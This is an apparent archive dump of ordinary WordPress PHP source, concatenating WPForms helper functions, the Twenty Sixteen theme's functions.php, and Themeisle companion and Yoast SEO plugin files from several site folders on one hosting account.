/**
* Check permissions for currently logged in user.
*
* @since 1.4.4
*
* @return bool
*/
function wpforms_current_user_can() {
$capability = wpforms_get_capability_manage_options();
return apply_filters( 'wpforms_current_user_can', current_user_can( $capability ), $capability );
}
/**
* Get the certain date of a specified day in a specified format.
*
* @since 1.4.4
*
* @param string $period Supported values: start, end.
* @param string $timestamp Default is the current timestamp, if left empty.
* @param string $format Default is a MySQL format.
*
* @return string
*/
function wpforms_get_day_period_date( $period, $timestamp = '', $format = 'Y-m-d H:i:s' ) {
$date = '';
if ( empty( $timestamp ) ) {
$timestamp = time();
}
switch ( $period ) {
case 'start_of_day':
$date = date( $format, strtotime( 'today', $timestamp ) );
break;
case 'end_of_day':
$date = date( $format, strtotime( 'tomorrow', $timestamp ) - 1 );
break;
}
return $date;
}
/**
* Get an array of all the active provider addons.
*
* @since 1.4.7
*
* @return array
*/
function wpforms_get_providers_available() {
return (array) apply_filters( 'wpforms_providers_available', array() );
}
/**
* Get options for all providers.
*
* @since 1.4.7
*
* @param string $provider Define a single provider to get options for this one only.
*
* @return array
*/
function wpforms_get_providers_options( $provider = '' ) {
$options = get_option( 'wpforms_providers', array() );
$provider = sanitize_key( $provider );
$data = $options;
if ( ! empty( $provider ) && isset( $options[ $provider ] ) ) {
$data = $options[ $provider ];
}
return (array) apply_filters( 'wpforms_get_providers_options', $data, $provider );
}
/**
* Update options for all providers.
*
* @since 1.4.7
*
* @param string $provider Provider slug.
* @param array|false $options If false is passed - provider will be removed. Otherwise saved.
* @param string $key Optional key to identify which connection to update. If empty - generate a new one.
*/
function wpforms_update_providers_options( $provider, $options, $key = '' ) {
$providers = wpforms_get_providers_options();
$id = ! empty( $key ) ? $key : uniqid();
$provider = sanitize_key( $provider );
if ( $options ) {
$providers[ $provider ][ $id ] = (array) $options;
} else {
unset( $providers[ $provider ] );
}
update_option( 'wpforms_providers', $providers );
}
/**
* Helper function to determine if loading an WPForms related admin page.
*
* Here we determine if the current administration page is owned/created by
* WPForms. This is done in compliance with WordPress best practices for
* development, so that we only load required WPForms CSS and JS files on pages
* we create. As a result we do not load our assets admin wide, where they might
* conflict with other plugins needlessly, also leading to a better, faster user
* experience for our users.
*
* @since 1.3.9
*
* @param string $slug Slug identifier for a specific WPForms admin page.
* @param string $view Slug identifier for a specific WPForms admin page view ("subpage").
*
* @return boolean
*/
function wpforms_is_admin_page( $slug = '', $view = '' ) {
// Check against basic requirements.
if (
! is_admin() ||
empty( $_REQUEST['page'] ) ||
strpos( $_REQUEST['page'], 'wpforms' ) === false
) {
return false;
}
// Check against page slug identifier.
if (
( ! empty( $slug ) && 'wpforms-' . $slug !== $_REQUEST['page'] ) ||
( empty( $slug ) && 'wpforms-builder' === $_REQUEST['page'] )
) {
return false;
}
// Check against sub-level page view.
if (
! empty( $view ) &&
( empty( $_REQUEST['view'] ) || $view !== $_REQUEST['view'] )
) {
return false;
}
return true;
}
/**
* Get the ISO 639-2 Language Code from user/site locale.
*
* @see http://www.loc.gov/standards/iso639-2/php/code_list.php
*
* @since 1.5.0
*
* @return string
*/
function wpforms_get_language_code() {
$default_lang = 'en';
$locale = get_user_locale();
if ( ! empty( $locale ) ) {
$lang = explode( '_', $locale );
if ( ! empty( $lang ) && is_array( $lang ) ) {
$default_lang = strtolower( $lang[0] );
}
}
return $default_lang;
}
/**
* Determine if we should show the "Show Values" toggle for checkbox, radio, or
* select fields in form builder. Legacy.
*
* @since 1.5.0
*
* @return bool
*/
function wpforms_show_fields_options_setting() {
return apply_filters( 'wpforms_fields_show_options_setting', false );
}
/**
* Check if a string is empty.
*
* @since 1.5.0
*
* @param string $string String to test.
*
* @return bool
*/
function wpforms_is_empty_string( $string ) {
if ( is_string( $string ) && '' === $string ) {
return true;
}
return false;
}
/**
* Return URL to form preview page.
*
* @since 1.5.1
*
* @param int $form_id Form ID.
* @param bool $new_window New window flag.
*
* @return string
*/
function wpforms_get_form_preview_url( $form_id, $new_window = false ) {
$url = add_query_arg(
array(
'wpforms_form_preview' => absint( $form_id ),
),
home_url()
);
if ( $new_window ) {
$url = add_query_arg(
array(
'new_window' => 1,
),
$url
);
}
return $url;
}
home/xbodynamge/namtation/wp-content/themes/twentysixteen/functions.php 0000604 00000043363 15115034256 0022670 0 ustar 00 <?php
/**
* Twenty Sixteen functions and definitions
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @link https://codex.wordpress.org/Theme_Development
* @link https://developer.wordpress.org/themes/advanced-topics/child-themes/
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API}
*
* @package WordPress
* @subpackage Twenty_Sixteen
* @since Twenty Sixteen 1.0
*/
/**
* Twenty Sixteen only works in WordPress 4.4 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.4-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}
if ( ! function_exists( 'twentysixteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* Create your own twentysixteen_setup() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentysixteen
* If you're building a theme based on Twenty Sixteen, use a find and replace
* to change 'twentysixteen' to the name of your theme in all the template files
*/
load_theme_textdomain( 'twentysixteen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for custom logo.
*
* @since Twenty Sixteen 1.2
*/
add_theme_support(
'custom-logo',
array(
'height' => 240,
'width' => 240,
'flex-height' => true,
)
);
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/reference/functions/add_theme_support/#post-thumbnails
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1200, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'twentysixteen' ),
'social' => __( 'Social Links Menu', 'twentysixteen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support(
'post-formats',
array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'status',
'audio',
'chat',
)
);
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style( array( 'css/editor-style.css', twentysixteen_fonts_url() ) );
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
// Add support for custom color scheme.
add_theme_support(
'editor-color-palette',
array(
array(
'name' => __( 'Dark Gray', 'twentysixteen' ),
'slug' => 'dark-gray',
'color' => '#1a1a1a',
),
array(
'name' => __( 'Medium Gray', 'twentysixteen' ),
'slug' => 'medium-gray',
'color' => '#686868',
),
array(
'name' => __( 'Light Gray', 'twentysixteen' ),
'slug' => 'light-gray',
'color' => '#e5e5e5',
),
array(
'name' => __( 'White', 'twentysixteen' ),
'slug' => 'white',
'color' => '#fff',
),
array(
'name' => __( 'Blue Gray', 'twentysixteen' ),
'slug' => 'blue-gray',
'color' => '#4d545c',
),
array(
'name' => __( 'Bright Blue', 'twentysixteen' ),
'slug' => 'bright-blue',
'color' => '#007acc',
),
array(
'name' => __( 'Light Blue', 'twentysixteen' ),
'slug' => 'light-blue',
'color' => '#9adffd',
),
array(
'name' => __( 'Dark Brown', 'twentysixteen' ),
'slug' => 'dark-brown',
'color' => '#402b30',
),
array(
'name' => __( 'Medium Brown', 'twentysixteen' ),
'slug' => 'medium-brown',
'color' => '#774e24',
),
array(
'name' => __( 'Dark Red', 'twentysixteen' ),
'slug' => 'dark-red',
'color' => '#640c1f',
),
array(
'name' => __( 'Bright Red', 'twentysixteen' ),
'slug' => 'bright-red',
'color' => '#ff675f',
),
array(
'name' => __( 'Yellow', 'twentysixteen' ),
'slug' => 'yellow',
'color' => '#ffef8e',
),
)
);
// Indicate widget sidebars can use selective refresh in the Customizer.
add_theme_support( 'customize-selective-refresh-widgets' );
}
endif; // twentysixteen_setup
add_action( 'after_setup_theme', 'twentysixteen_setup' );
/**
* Sets the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_content_width() {
$GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );
}
add_action( 'after_setup_theme', 'twentysixteen_content_width', 0 );
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Sixteen 1.6
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function twentysixteen_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'twentysixteen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
}
return $urls;
}
add_filter( 'wp_resource_hints', 'twentysixteen_resource_hints', 10, 2 );
/**
* Registers a widget area.
*
* @link https://developer.wordpress.org/reference/functions/register_sidebar/
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Sidebar', 'twentysixteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'Content Bottom 1', 'twentysixteen' ),
'id' => 'sidebar-2',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'Content Bottom 2', 'twentysixteen' ),
'id' => 'sidebar-3',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentysixteen_widgets_init' );
if ( ! function_exists( 'twentysixteen_fonts_url' ) ) :
/**
* Register Google fonts for Twenty Sixteen.
*
* Create your own twentysixteen_fonts_url() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*
* @return string Google fonts URL for the theme.
*/
function twentysixteen_fonts_url() {
$fonts_url = '';
$fonts = array();
$subsets = 'latin,latin-ext';
/* translators: If there are characters in your language that are not supported by Merriweather, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Merriweather font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Merriweather:400,700,900,400italic,700italic,900italic';
}
/* translators: If there are characters in your language that are not supported by Montserrat, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Montserrat font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Montserrat:400,700';
}
/* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Inconsolata:400';
}
if ( $fonts ) {
$fonts_url = add_query_arg(
array(
'family' => urlencode( implode( '|', $fonts ) ),
'subset' => urlencode( $subsets ),
),
'https://fonts.googleapis.com/css'
);
}
return $fonts_url;
}
endif;
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentysixteen_javascript_detection', 0 );
/**
* Enqueues scripts and styles.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
// Add Genericons, used in the main stylesheet.
wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.4.1' );
// Theme stylesheet.
wp_enqueue_style( 'twentysixteen-style', get_stylesheet_uri() );
// Theme block stylesheet.
wp_enqueue_style( 'twentysixteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentysixteen-style' ), '20181230' );
// Load the Internet Explorer specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie', 'conditional', 'lt IE 10' );
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie8', 'conditional', 'lt IE 9' );
// Load the Internet Explorer 7 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie7', 'conditional', 'lt IE 8' );
// Load the html5 shiv.
wp_enqueue_script( 'twentysixteen-html5', get_template_directory_uri() . '/js/html5.js', array(), '3.7.3' );
wp_script_add_data( 'twentysixteen-html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentysixteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20160816', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && wp_attachment_is_image() ) {
wp_enqueue_script( 'twentysixteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20160816' );
}
wp_enqueue_script( 'twentysixteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20181230', true );
wp_localize_script(
'twentysixteen-script',
'screenReaderText',
array(
'expand' => __( 'expand child menu', 'twentysixteen' ),
'collapse' => __( 'collapse child menu', 'twentysixteen' ),
)
);
}
add_action( 'wp_enqueue_scripts', 'twentysixteen_scripts' );
/**
* Enqueue styles for the block-based editor.
*
* @since Twenty Sixteen 1.6
*/
function twentysixteen_block_editor_styles() {
// Block styles.
wp_enqueue_style( 'twentysixteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '20181230' );
// Add custom fonts.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
}
add_action( 'enqueue_block_editor_assets', 'twentysixteen_block_editor_styles' );
/**
* Adds custom classes to the array of body classes.
*
* @since Twenty Sixteen 1.0
*
* @param array $classes Classes for the body element.
* @return array (Maybe) filtered body classes.
*/
function twentysixteen_body_classes( $classes ) {
// Adds a class of custom-background-image to sites with a custom background image.
if ( get_background_image() ) {
$classes[] = 'custom-background-image';
}
// Adds a class of group-blog to sites with more than 1 published author.
if ( is_multi_author() ) {
$classes[] = 'group-blog';
}
// Adds a class of no-sidebar to sites without active sidebar.
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
$classes[] = 'no-sidebar';
}
// Adds a class of hfeed to non-singular pages.
if ( ! is_singular() ) {
$classes[] = 'hfeed';
}
return $classes;
}
add_filter( 'body_class', 'twentysixteen_body_classes' );
/**
* Converts a HEX value to RGB.
*
* @since Twenty Sixteen 1.0
*
* @param string $color The original color, in 3- or 6-digit hexadecimal form.
* @return array Array containing RGB (red, green, and blue) values for the given
* HEX code, empty array otherwise.
*/
function twentysixteen_hex2rgb( $color ) {
$color = trim( $color, '#' );
if ( strlen( $color ) === 3 ) {
$r = hexdec( substr( $color, 0, 1 ) . substr( $color, 0, 1 ) );
$g = hexdec( substr( $color, 1, 1 ) . substr( $color, 1, 1 ) );
$b = hexdec( substr( $color, 2, 1 ) . substr( $color, 2, 1 ) );
} elseif ( strlen( $color ) === 6 ) {
$r = hexdec( substr( $color, 0, 2 ) );
$g = hexdec( substr( $color, 2, 2 ) );
$b = hexdec( substr( $color, 4, 2 ) );
} else {
return array();
}
return array(
'red' => $r,
'green' => $g,
'blue' => $b,
);
}
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images
*
* @since Twenty Sixteen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentysixteen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 840 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px';
}
if ( 'page' === get_post_type() ) {
if ( 840 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
} else {
if ( 840 > $width && 600 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px';
} elseif ( 600 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentysixteen_content_image_sizes_attr', 10, 2 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails
*
* @since Twenty Sixteen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentysixteen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( 'post-thumbnail' === $size ) {
if ( is_active_sidebar( 'sidebar-1' ) ) {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 60vw, (max-width: 1362px) 62vw, 840px';
} else {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 88vw, 1200px';
}
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentysixteen_post_thumbnail_sizes_attr', 10, 3 );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Sixteen 1.1
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentysixteen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentysixteen_widget_tag_cloud_args' );
dev/wp-content/plugins/themeisle-companion/obfx_modules/companion-legacy/inc/hestia/functions.php 0000644 00000007277 15115046101 0032540 0 ustar 00 home/xbodynamge <?php
/**
* Companion code for Hestia
*
* @author Themeisle
* @package themeisle-companion
*/
/**
* Include sections from Companion plugin
*/
function themeisle_hestia_require() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$sections_paths = apply_filters( 'themeisle_companion_hestia_sections',array(
'hestia/inc/features/import-zerif-content.php',
'hestia/inc/sections/hestia-features-section.php',
'hestia/inc/sections/hestia-testimonials-section.php',
'hestia/inc/sections/hestia-team-section.php',
'hestia/inc/sections/hestia-ribbon-section.php',
'hestia/inc/sections/hestia-clients-bar-section.php',
) );
themeisle_hestia_require_files( $sections_paths );
}
}
/**
* Include customizer controls in customizer
*/
function themeisle_hestia_load_controls() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$features_paths = apply_filters( 'themeisle_companion_hestia_controls',array(
'hestia/inc/features/feature-features-section.php',
'hestia/inc/features/feature-testimonials-section.php',
'hestia/inc/features/feature-team-section.php',
'hestia/inc/features/feature-ribbon-section.php',
'hestia/inc/features/feature-clients-bar-section.php',
'hestia/inc/customizer.php',
) );
themeisle_hestia_require_files( $features_paths );
}
}
/**
* This function iterates thorough an array of file paths, checks if the file exist and if it does, it require the
* file in plugin.
*
* @param array $array Array of files to require.
*/
function themeisle_hestia_require_files( $array ) {
foreach ( $array as $path ) {
$file_path = trailingslashit( THEMEISLE_COMPANION_PATH ) . $path;
if ( file_exists( $file_path ) ) {
require_once( $file_path );
}
}
}
/**
* Set Front page displays option to A static page
*/
function themeisle_hestia_set_frontpage() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$is_fresh_site = get_option( 'fresh_site' );
if ( (bool) $is_fresh_site === false ) {
$frontpage_title = esc_html__( 'Front Page', 'themeisle-companion' );
$front_id = themeisle_hestia_create_page( 'hestia-front', $frontpage_title );
$blogpage_title = esc_html__( 'Blog', 'themeisle-companion' );
$blog_id = themeisle_hestia_create_page( 'blog', $blogpage_title );
set_theme_mod( 'show_on_front','page' );
update_option( 'show_on_front', 'page' );
if ( ! empty( $front_id ) ) {
update_option( 'page_on_front', $front_id );
}
if ( ! empty( $blog_id ) ) {
update_option( 'page_for_posts', $blog_id );
}
}
}
}
/**
* Function that checks if a page with a slug exists. If not, it create one.
*
* @param string $slug Page slug.
* @param string $page_title Page title.
* @return int
*/
function themeisle_hestia_create_page( $slug, $page_title ) {
// Check if page exists
$args = array(
'name' => $slug,
'post_type' => 'page',
'post_status' => 'publish',
'numberposts' => 1,
);
$post = get_posts( $args );
if ( ! empty( $post ) ) {
$page_id = $post[0]->ID;
} else {
// Page doesn't exist. Create one.
$postargs = array(
'post_type' => 'page',
'post_name' => $slug,
'post_title' => $page_title,
'post_status' => 'publish',
'post_author' => 1,
);
// Insert the post into the database
$page_id = wp_insert_post( $postargs );
}
return $page_id;
}
/**
* Enqueue style for clients bar to make sure that style doesn't brake after removing bootstrap on this section.
* Note: this can be deleted in a future version. It's just for maintaining compatibility, if user updates plugin but
* not the theme.
*/
function themeisle_hestia_enqueue_clients_style(){
wp_enqueue_style( 'hestia-clients-bar', trailingslashit( THEMEISLE_COMPANION_URL ) . 'assets/css/hestia/clients-bar.css' );
} wp-content/plugins/themeisle-companion/obfx_modules/companion-legacy/inc/hestia/functions.php 0000644 00000007277 15115046714 0034454 0 ustar 00 home/xbodynamge/lebauwcentre <?php
/**
* Companion code for Hestia
*
* @author Themeisle
* @package themeisle-companion
*/
/**
* Include sections from Companion plugin
*/
function themeisle_hestia_require() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$sections_paths = apply_filters( 'themeisle_companion_hestia_sections',array(
'hestia/inc/features/import-zerif-content.php',
'hestia/inc/sections/hestia-features-section.php',
'hestia/inc/sections/hestia-testimonials-section.php',
'hestia/inc/sections/hestia-team-section.php',
'hestia/inc/sections/hestia-ribbon-section.php',
'hestia/inc/sections/hestia-clients-bar-section.php',
) );
themeisle_hestia_require_files( $sections_paths );
}
}
/**
* Include customizer controls in customizer
*/
function themeisle_hestia_load_controls() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$features_paths = apply_filters( 'themeisle_companion_hestia_controls',array(
'hestia/inc/features/feature-features-section.php',
'hestia/inc/features/feature-testimonials-section.php',
'hestia/inc/features/feature-team-section.php',
'hestia/inc/features/feature-ribbon-section.php',
'hestia/inc/features/feature-clients-bar-section.php',
'hestia/inc/customizer.php',
) );
themeisle_hestia_require_files( $features_paths );
}
}
/**
* This function iterates thorough an array of file paths, checks if the file exist and if it does, it require the
* file in plugin.
*
* @param array $array Array of files to require.
*/
function themeisle_hestia_require_files( $array ) {
foreach ( $array as $path ) {
$file_path = trailingslashit( THEMEISLE_COMPANION_PATH ) . $path;
if ( file_exists( $file_path ) ) {
require_once( $file_path );
}
}
}
/**
* Set Front page displays option to A static page
*/
function themeisle_hestia_set_frontpage() {
if ( function_exists( 'hestia_setup_theme' ) ) {
$is_fresh_site = get_option( 'fresh_site' );
if ( (bool) $is_fresh_site === false ) {
$frontpage_title = esc_html__( 'Front Page', 'themeisle-companion' );
$front_id = themeisle_hestia_create_page( 'hestia-front', $frontpage_title );
$blogpage_title = esc_html__( 'Blog', 'themeisle-companion' );
$blog_id = themeisle_hestia_create_page( 'blog', $blogpage_title );
set_theme_mod( 'show_on_front','page' );
update_option( 'show_on_front', 'page' );
if ( ! empty( $front_id ) ) {
update_option( 'page_on_front', $front_id );
}
if ( ! empty( $blog_id ) ) {
update_option( 'page_for_posts', $blog_id );
}
}
}
}
/**
* Function that checks if a page with a slug exists. If not, it create one.
*
* @param string $slug Page slug.
* @param string $page_title Page title.
* @return int
*/
function themeisle_hestia_create_page( $slug, $page_title ) {
// Check if page exists
$args = array(
'name' => $slug,
'post_type' => 'page',
'post_status' => 'publish',
'numberposts' => 1,
);
$post = get_posts( $args );
if ( ! empty( $post ) ) {
$page_id = $post[0]->ID;
} else {
// Page doesn't exist. Create one.
$postargs = array(
'post_type' => 'page',
'post_name' => $slug,
'post_title' => $page_title,
'post_status' => 'publish',
'post_author' => 1,
);
// Insert the post into the database
$page_id = wp_insert_post( $postargs );
}
return $page_id;
}
/**
* Enqueue style for clients bar to make sure that style doesn't brake after removing bootstrap on this section.
* Note: this can be deleted in a future version. It's just for maintaining compatibility, if user updates plugin but
* not the theme.
*/
function themeisle_hestia_enqueue_clients_style(){
wp_enqueue_style( 'hestia-clients-bar', trailingslashit( THEMEISLE_COMPANION_URL ) . 'assets/css/hestia/clients-bar.css' );
} themeisle-companion/vendor/codeinwp/full-width-page-templates/themes/zerif-lite/functions.php 0000644 00000000272 15115062747 0040134 0 ustar 00 home/xbodynamge/lebauwcentre/wp-content/plugins <?php
/**
* adds the closing <header> tag
*/
function zerif_close_header() {
echo '</header> <!-- / END HOME SECTION -->';
}
add_action( 'fwpt_std_content', 'zerif_close_header' );
themeisle-companion/vendor/codeinwp/full-width-page-templates/themes/zerif-lite/functions.php 0000644 00000000272 15115064247 0036227 0 ustar 00 home/xbodynamge/dev/wp-content/plugins <?php
/**
* adds the closing <header> tag
*/
function zerif_close_header() {
echo '</header> <!-- / END HOME SECTION -->';
}
add_action( 'fwpt_std_content', 'zerif_close_header' );
home/xbodynamge/www/wp-content/plugins/wordpress-seo/src/functions.php 0000644 00000001617 15115104174 0022364 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Internals
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
use Yoast\WP\SEO\Main;
if ( is_dir( WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY ) ) {
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/guzzle/src/functions.php';
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/psr7/src/functions_include.php';
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/promises/src/functions_include.php';
}
/**
* Retrieves the main instance.
*
* @phpcs:disable WordPress.NamingConventions -- Should probably be renamed, but leave for now.
*
* @return Main The main instance.
*/
function YoastSEO() {
// phpcs:enable
static $main;
if ( $main === null ) {
$main = new Main();
$main->load();
}
return $main;
}
themeisle-companion/vendor/codeinwp/full-width-page-templates/themes/zerif-lite/functions.php 0000604 00000000272 15115137662 0040334 0 ustar 00 home/xbodynamge/crosstraining/wp-content/plugins <?php
/**
* adds the closing <header> tag
*/
function zerif_close_header() {
echo '</header> <!-- / END HOME SECTION -->';
}
add_action( 'fwpt_std_content', 'zerif_close_header' );
wp-content/plugins/themeisle-companion/obfx_modules/companion-legacy/inc/azera-shop/functions.php 0000644 00000003047 15115327150 0033331 0 ustar 00 home/xbodynamge/dev <?php
/*
* Azera Shop Companion
*/
if ( ! function_exists( 'add_action' ) ) {
die( 'Nothing to do...' );
}
/* Important constants */
define( 'AZERA_SHOP_COMPANION_VERSION', '1.0.7' );
define( 'AZERA_SHOP_COMPANION_URL', plugin_dir_url( __FILE__ ) );
define( 'AZERA_SHOP_COMPANION_PATH', plugin_dir_path( __FILE__ ) );
/**
* Require section translations
*/
require AZERA_SHOP_COMPANION_PATH . 'inc/translations/general.php';
/* Required helper functions */
include_once( dirname( __FILE__ ) . '/inc/settings.php' );
/* Add new sections in Azera Shop */
function azera_shop_companion_sections() {
return array(
'sections/azera_shop_logos_section',
'azera_shop_our_services_section',
'sections/azera_shop_shop_section',
'azera_shop_our_team_section',
'azera_shop_happy_customers_section',
'sections/azera_shop_shortcodes_section',
'sections/azera_shop_ribbon_section',
'sections/azera_shop_contact_info_section',
'sections/azera_shop_map_section'
);
}
/**
* Load sections form the plugin
*
* @since 1.0.0
*/
function azera_shop_companion_load_sections() {
add_filter('azera_shop_companion_sections_filter', 'azera_shop_companion_sections');
}
add_action( 'plugins_loaded', 'azera_shop_companion_load_sections' );
/*
* Enqueue styles
*/
function azera_shop_companion_register_plugin_styles() {
wp_enqueue_style( 'azera-shop-companion-style', trailingslashit( AZERA_SHOP_COMPANION_URL ) . 'css/style.css' );
}
